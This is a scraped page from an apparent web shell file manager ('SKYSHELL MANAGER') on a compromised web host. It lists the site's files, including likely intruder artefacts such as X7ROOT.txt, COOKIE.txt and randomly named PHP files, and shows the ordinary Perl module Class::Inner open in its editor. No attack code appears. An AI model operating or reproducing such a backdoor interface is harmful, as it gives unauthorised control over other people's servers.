📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: Inner.pm
package Class::Inner; use vars qw/$VERSION/; $VERSION = 0.200_001; use strict; use Carp; =head1 NAME Class::Inner - A perlish implementation of Java like inner classes =head1 SYNOPSIS use Class::Inner; my $object = Class::Inner->new( parent => 'ParentClass', methods => { method => sub { ... } }, }, constructor => 'new', args => [@constructor_args], ); =head1 DESCRIPTION Yet another implementation of an anonymous class with per object overrideable methods, but with the added attraction of sort of working dispatch to the parent class's method. =head2 METHODS =over 4 =item B<new HASH> Takes a hash like argument list with the following keys. =over 4 =item B<parent> The name of the parent class. Note that you can only get single inheritance with this or B<SUPER> won't work. =item B<methods> A hash, keys are method names, values are CODEREFs. =item B<constructor> The name of the constructor method. Defaults to 'new'. =item B<args> An anonymous array of arguments to pass to the constructor. Defaults to an empty list. =back Returns an object in an 'anonymous' class which inherits from the parent class. This anonymous class has a couple of 'extra' methods: =over 4 =item B<SUPER> If you were to pass something like $obj = Class::Inner->new( parent => 'Parent', methods => { method => sub { ...; $self->SUPER::method(@_) } }, ); then C<$self-C<gt>SUPER::method> almost certainly wouldn't do what you expect, so we provide the C<SUPER> method which dispatches to the parent implementation of the current method. There seems to be no good way of getting the full C<SUPER::> functionality, but I'm working on it. =item B<DESTROY> Because B<Class::Inner> works by creating a whole new class name for your object, it could potentially leak memory if you create a lot of them. So we add a C<DESTROY> method that removes the class from the symbol table once it's finished with. If you need to override a parent's DESTROY method, adding a call to C<Class::Inner::clean_symbol_table(ref $self)> to it. Do it at the end of the method or your other method calls won't work. =back =cut #' sub new { my $class = shift; my %args = ref($_[0]) ? %{$_[0]} : @_; my $parent = $args{parent} or croak "Can't work without a parent class\n"; my %methods = %{$args{methods}||{}}; my $constructor = $args{constructor} || 'new'; my @constructor_args = @{$args{args} || []}; my $anon_class = $class->new_classname; no strict 'refs'; @{"$anon_class\::ISA"} = $parent; foreach my $methodname (keys %methods) { *{"$anon_class\::$methodname"} = sub { local $Class::Inner::target_method = $methodname; $methods{$methodname}->(@_); }; } # Add the SUPER method. unless (exists $methods{SUPER}) { *{"$anon_class\::SUPER"} = sub { my $self = shift; my $target_method = join '::', $parent, $Class::Inner::target_method; $self->$target_method(@_); }; } unless (exists $methods{DESTROY}) { *{"$anon_class\::DESTROY"} = sub { my $self = shift; Class::Inner::clean_symbol_table($anon_class); bless $self, $parent; } } # Instantiate my $obj = $anon_class->new(@constructor_args); } =item B<clean_symbol_table> The helper subroutine that DESTROY uses to remove the class from the symbol table. =cut sub clean_symbol_table { my $class = shift; no strict 'refs'; undef %{"${class}::"}; } =item B<new_classname> Returns a name for the next anonymous class. =cut { my $class_counter; sub new_classname { my $baseclass = shift; return "$baseclass\::__A" . $class_counter++; } } 1; __END__ =back =head1 AUTHOR Maintained by Arun Prasaad C<< <arunbear@cpan.org> >> Copyright (c) 2001 by Piers Cawley E<lt>pdcawley@iterative-software.comE<gt>. All rights reserved. This program is free software; you can redistribute it and/or modify it under the same terms as perl itself. Thanks to the Iterative Software people: Leon Brocard, Natalie Ford and Dave Cross. Also, this module was written initially for use in the PerlUnit project, AKA Test::Unit. Kudos to Christian Lemburg and the rest of that team. =head1 SEE ALSO There are a million and one differen Class constructors available on CPAN, none of them does quite what I want, so I wrote this one to add to that population where hopefully it will live and thrive. =head1 BUGS Bound to be some. Actually the C<SUPER> method is a workaround for what I consider to be a bug in perl.
Save